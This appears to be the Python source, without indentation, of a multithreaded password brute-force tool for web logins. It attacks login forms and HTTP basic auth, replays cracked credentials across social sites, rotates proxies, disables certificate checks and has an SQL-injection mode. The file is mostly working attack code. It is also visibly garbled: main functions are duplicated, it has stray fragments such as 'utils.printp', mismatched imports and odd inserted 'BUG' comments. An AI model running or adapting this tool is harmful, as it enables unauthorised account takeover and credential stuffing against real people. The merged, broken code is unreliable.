def run(checkedURL, creds, optionThreads, optionProxy, optionVerbose):
social_urls = data.social_urls().replace("\t", "").split("\n")
for url in social_urls:
# BUG double_free()
if checkedURL in url:
social_urls.remove(url)
result = Queue()
workers = []
try:
for tryCreds in creds:
for url in social_urls:
if actions.size_o(workers) == optionThreads:
do_job(workers)
del workers[:]
worker = threading.Thread(target=submit,
args=(url, tryCreds, optionProxy,
optionVerbose, result))
worker.daemon = True
workers.append(worker)
do_job(workers)
del workers[:]
except KeyboardInterrupt:
utils.die("[x] Terminated by user!", "KeyboardInterrupt")
except SystemExit:
utils.die("[x] Terminated by system!", "SystemExit")
except Exception as err:
utils.die("[x] ReAuth: Runtime error", err)
finally:
result = list(result.queue)
if actions.size_o(result) == 0:
utils.printf("[-] No extra valid password found", "bad")
else:
utils.print_table(("Target", "Username", "Password"), *result)
def main(optionURL, setOptions, optionRunMode, setRunOptions):
def do_job(jobs):
for job in jobs:
job.start()
utils.printp
for job in jobs:
job.join()
import time, os, threading
# CHECK IMPORTING ALL LIBS. IMPORT HERE -> CALL HELP_BANNER ONLY FASTER
try:
import mechanize, re, requests # for basichttpauthentication, not useless, use later
except ImportError as err:
utils.die(err, "Try: pip install %s" % (str(err).split(" ")[-1]))
try:
_create_unverified_https_context = ssl._create_unverified_context
except AttributeError:
# Legacy Python that doesn't verify HTTPS certificates by default
pass
else:
# Handle target environment that doesn't support HTTPS verification
ssl._create_default_https_context = _create_unverified_https_context
try:
from Queue import Queue
except ImportError:
from queue import Queue
result = Queue()
# BUG bad memory management
optionUserlist, optionThreads, optionKeyFalse, optionPasslist = setOptions.values(
)
optionProxy, optionReport, optionVerbose = setRunOptions.values()
try:
optionUserlist = optionUserlist.split("\n")
except:
pass
try:
optionPasslist = optionPasslist.split("\n")
except:
pass
## End of testing
timeStarting = time.time()
# get login form info
# call brute
IS_REGULAR = True
# IF NOT HTTP BASIC AUTHENTICATION, CHECK RESULT AND PARSE LOGIN FORM
proc = tbrowser.startBrowser()
proc.addheaders = [('User-Agent', tbrowser.useragent())]
if optionRunMode not in ["--httpauth"]:
try:
utils.printf("Checking connection...")
proc.open(optionURL)
#TODO PROXY
utils.printf("[*] Connect success!", "good")
loginInfo = tbrowser.parseLoginForm(proc.forms())
if not loginInfo:
utils.die("[x] URL error", "No login field found")
elif actions.size_o(loginInfo[1]) == 1: # Password checking only
utils.printf("[*] Form with password field", "good")
del optionUserlist[:]
optionUserlist = [""]
IS_REGULAR = False
elif actions.size_o(loginInfo[1]) == 2:
utils.printf("[*] Form username+password field", "good")
except Exception as err:
utils.die("[x] Can't connect to target", err)
finally:
proc.close()
#### END OF CHECKING TARGET
sizePasslist = actions.size_o(optionPasslist)
sizeUserlist = actions.size_o(optionUserlist)
workers = []
utils.printf("Starting attack....\nTask count: %s tasks" %
(sizeUserlist * sizePasslist))
############################
# Setting up threads
############################
try:
for password in optionPasslist:
for username in optionUserlist:
username, password = username.replace("\n",
""), password.replace(
"\n", "")
####
# IF HAVE ENOUGH THREAD, DO IT ALL
###
if actions.size_o(workers) == optionThreads:
do_job(workers)
del workers[:]
if optionRunMode == "--brute":
worker = threading.Thread(
target=loginbrute.submit,
args=(optionURL, [password, username
], optionProxy, optionKeyFalse,
optionVerbose, loginInfo, result))
elif optionRunMode == "--httpauth":
worker = threading.Thread(target=httpauth.submit,
args=(optionURL, username,
password, optionProxy,
optionVerbose, result))
worker.daemon = True
workers.append(worker)
######### END SETTING UP THREADS ################
#DO ALL LAST TASKs
do_job(workers)
del workers[:]
### CATCH ERRORS ###
except KeyboardInterrupt: # as error:
# TODO: kill running threads here
utils.die("[x] Terminated by user!", "KeyboardInterrupt")
except SystemExit: # as error
utils.die("[x] Terminated by system!", "SystemExit")
except Exception as error:
utils.die("[x] Runtime error", error)
### ALL TASKS DONE ####
finally:
runtime = time.time() - timeStarting
"""
All threads have been set daemon
Running threads should be stopped after main task done
"""
############################################
# Get result
#
############################################
try:
credentials = list(result.queue)
if actions.size_o(credentials) == 0:
utils.printf("[-] No match found!", "bad")
else:
utils.printf(
"\n[*] %s valid password[s] found:\n" %
(actions.size_o(credentials)), "norm")
if IS_REGULAR:
utils.print_table(("Username", "Password"), *credentials)
else:
if optionRunMode != "--sqli":
utils.print_table(("", "Password"), *credentials)
else:
utils.print_table(("Payload", ""),
*credentials) # TODO: test more
### CREATE REPORT ####
if optionReport:
try:
import reports
optionProxy = "True" if optionProxy else "False"
report_name = "%s_%s" % (time.strftime("%Y.%m.%d_%H.%M"),
optionURL.split("/")[2])
report_path = "%s/%s.txt" % (reports.__path__[0],
report_name)
reports.makeReport(
utils.report_banner(optionURL, optionRunMode,
optionProxy, optionThreads,
credentials, report_name, runtime,
IS_REGULAR), report_path)
utils.printf("\n[*] Report file at:\n%s" % (report_path),
"good")
except Exception as err:
utils.printf("[x] Error while creating report: %s" % (err),
"bad")
except Exception as err:
utils.printf("\n[x] Error while getting result.\n", "bad")
utils.printf(err, "bad")
utils.printf("\n[*] Time elapsed: %0.5s [s]\n" % (runtime), "good")
sys.exit(0)
def check(target, threads, verbose, PROXY_PATH):
def do_job(jobs):
for job in jobs:
job.start()
for job in jobs:
job.join()
def checProxyConn(proxyAddr, target, result, verbose):
try:
proxyTest = tbrowser.startBrowser()
user_agent = tbrowser.useragent()
proxyTest.addheaders = [('User-Agent', user_agent)]
proxyTest.set_proxies({"http": proxyAddr})
if verbose:
utils.printf("Trying: %s" % (proxyAddr))
proxyTest.open(target)
if verbose:
utils.printf("Success: %s" % (proxyAddr), "good")
result.put(proxyAddr)
except Exception as error:
if verbose:
utils.printf("%s %s" % (proxyAddr, error), "bad")
finally:
try:
proxyTest.close()
except:
pass
try:
proxylist = actions.fread(PROXY_PATH).split("\n")
workers = []
result = Queue()
for tryProxy in proxylist:
if actions.size_o(workers) == threads:
do_job(workers)
del workers[:]
worker = threading.Thread(target=checProxyConn,
args=(tryProxy, target, result, verbose))
worker.daemon = True
workers.append(worker)
do_job(workers)
del workers[:]
except KeyboardInterrupt as error:
utils.die("GetProxy: Terminated by user!", error)
except Exception as error:
utils.die("GetProxy: Error while checking proxy connection to target",
error)
finally:
try:
utils.printf("GetProxy: Write working proxies")
actions.fwrite(PROXY_PATH, "\n".join(list(result.queue)))
utils.printf("Write working proxies completed", "good")
except Exception as err:
utils.die("GetProxy: Error while writing result", err)
def main(optionURL, setOptions, optionRunMode, setRunOptions):
def do_job(jobs):
for job in jobs:
job.start()
for job in jobs:
job.join()
import time, os, threading
# CHECK IMPORTING ALL LIBS. IMPORT HERE -> CALL HELP_BANNER ONLY FASTER
try:
import mechanize, re, ssl, requests # for basichttpauthentication, not useless, use later
except ImportError as err:
utils.die(err, "Try: pip install %s" % (str(err).split(" ")[-1]))
try:
_create_unverified_https_context = ssl._create_unverified_context
except AttributeError:
# Legacy Python that doesn't verify HTTPS certificates by default
pass
else:
# Handle target environment that doesn't support HTTPS verification
ssl._create_default_https_context = _create_unverified_https_context
try:
from Queue import Queue
except ImportError:
from queue import Queue
result = Queue()
# BUG bad memory management
optionUserlist, optionThreads, optionKeyFalse, optionPasslist = setOptions.values(
)
optionProxy, optionReport, optionVerbose = setRunOptions.values()
try:
optionUserlist = optionUserlist.split("\n")
except:
#optionUserlist = optionUserlist.readlines()
pass
# TODO Must testing cases with list and file object
try:
optionPasslist = optionPasslist.split("\n")
except:
pass
## End of testing
timeStarting = time.time()
# get login form info
# call brute
sizePasslist = actions.size_o(optionPasslist)
sizeUserlist = actions.size_o(optionUserlist)
proc = tbrowser.startBrowser()
proc.addheaders = [('User-Agent', tbrowser.useragent())]
try:
utils.printf("Checking connection...")
proc.open(optionURL)
#TODO PROXY
loginInfo = tbrowser.getLoginForm(optionURL, proc, optionVerbose)
utils.printf("Connect success!", "good")
except Exception as err:
utils.die("Error while parsing login form", err)
finally:
proc.close()
utils.printf("Starting attack.... %s tasks" %
(sizeUserlist * sizePasslist))
workers = []
trying = 0
try:
for password in optionPasslist:
for username in optionUserlist:
if len(workers) == optionThreads:
do_job(workers)
del workers[:]
if optionRunMode == "--brute":
worker = threading.Thread(
target=loginbrute.submit,
args=(optionURL, username.replace("\n", ""),
password.replace("\n", ""),
sizeUserlist * sizePasslist, optionProxy,
optionKeyFalse, optionVerbose, loginInfo,
result))
worker.daemon = True
workers.append(worker)
#DO ALL LAST TASKs
do_job(workers)
del workers[:]
except KeyboardInterrupt: # as error:
# TODO: kill running threads here
utils.die("Terminated by user!", "KeyboardInterrupt")
except SystemExit: # as error
utils.die("Terminated by system!", "SystemExit")
except Exception as error:
utils.die("Error while running", error)
finally:
runtime = time.time() - timeStarting
"""
All threads have been set daemon
Running threads should be stopped after main task done
"""
############################################
# Get result
#
############################################
try:
credentials = list(result.queue)
if len(credentials) == 0:
utils.printf("[-] No valid password found!", "bad")
else:
utils.printf(
"\n[*] %s valid password[s] found:\n" % (len(credentials)),
"norm")
utils.print_table(("Username", "Password"), *credentials)
if optionReport:
try:
import report
optionProxy = "True" if optionProxy else "False"
report_name = "%s_%s" % (time.strftime("%Y.%m.%d_%H.%M"),
optionURL.split("/")[2])
report_path = "%s/%s.txt" % (reports.__path__[0],
report_name)
reports.makeReport(
utils.report_banner(optionURL, optionRunMode,
optionProxy, optionThreads,
credentials, report_name, runtime),
report_path)
utils.printf("\n[*]Report file at:\n%s" % (report_path),
"good")
except Exception as err:
utils.printf("Error while creating report: %s" % (err),
"bad")
except Exception as err:
utils.printf("\nError while getting result.\n", "bad")
utils.printf(err, "bad")
utils.printf("\nCompleted. Run time: %0.5s [s]\n" % (runtime))
########################################
# Clear resources
#
########################################
try:
optionPasslist.close()
except:
pass
try:
optionUserlist.close()
except:
pass
sys.exit(0)
def main(setTargetURL, setOptions, setMode, setRunOptions):
setUserlist, setNumberThreads, setKeyFalse, setPasslist = setOptions.values(
)
setProxy, setVerbose, setLog = setRunOptions.values()
try:
sizePasslist = actions.size_o(setPasslist)
sizeUserlist = actions.size_o(setUserlist)
setUserlist = setUserlist.split("\n")
setPasslist = setPasslist.split("\n")
# TODO Check condition each case
except:
#utils.printf("Can not get size of passlist", "bad")
pass
timeStarting = time.time()
workers = []
try:
#lock = threading.Lock()
#lock.acquire()
# Create thread list
#usePasslist = list(itertools.islice(setPasslist, sizePasslist))
#usePasslist = setPasslist.readlines()
#TODO modify for sql injection mode
if setMode == "--sqli":
for i in xrange(setNumberThreads):
worker = threading.Thread(
target=sqltest.handle,
args=(setTargetURL, setUserlist, setPasslist,
sizeUserlist * sizePasslist, setProxy, setKeyFalse))
# add threads to list
workers.append(worker)
else:
for i in xrange(setNumberThreads):
worker = threading.Thread(target=httpbrute.handle,
args=(setTargetURL, setUserlist,
setPasslist.split("\n"),
sizePasslist, setProxy,
setKeyFalse))
# add threads to list
workers.append(worker)
except Exception as error:
utils.die("Error while creating threads", error)
# Start all threads
try:
for worker in workers:
worker.daemon = True
worker.start()
#except (KeyboardInterrupt, SystemExit):
except KeyboardInterrupt: # as error:
# for worker in workers:
# worker.join()
utils.die("Terminated by user!", "KeyboardInterrupt")
except SystemExit: # as error
utils.die("Terminated by system!", "SystemExit")
except Exception as error:
utils.die("Error while running", error)
finally:
try:
for worker in workers:
worker.join()
except:
pass
############################################
# Get result
#
############################################
# try:
# credentials = processBruteForcing.actGetResult()
#
# # check result
# if len(credentials) == 0:
# utils.printf("Password not found!", "bad")
# else:
# utils.printf("")
# utils.print_table(("Username", "Password"), *credentials)
# except:
# #utils.printf("\nCan not get result.\n", "bad")
# pass
utils.printf("\nCompleted. Run time: %0.5s [s]\n" %
(time.time() - timeStarting))
########################################
# Clear resources
#
########################################
try:
setPasslist.close()
except:
pass
try:
setUserlist.close()
except:
pass
sys.exit(0)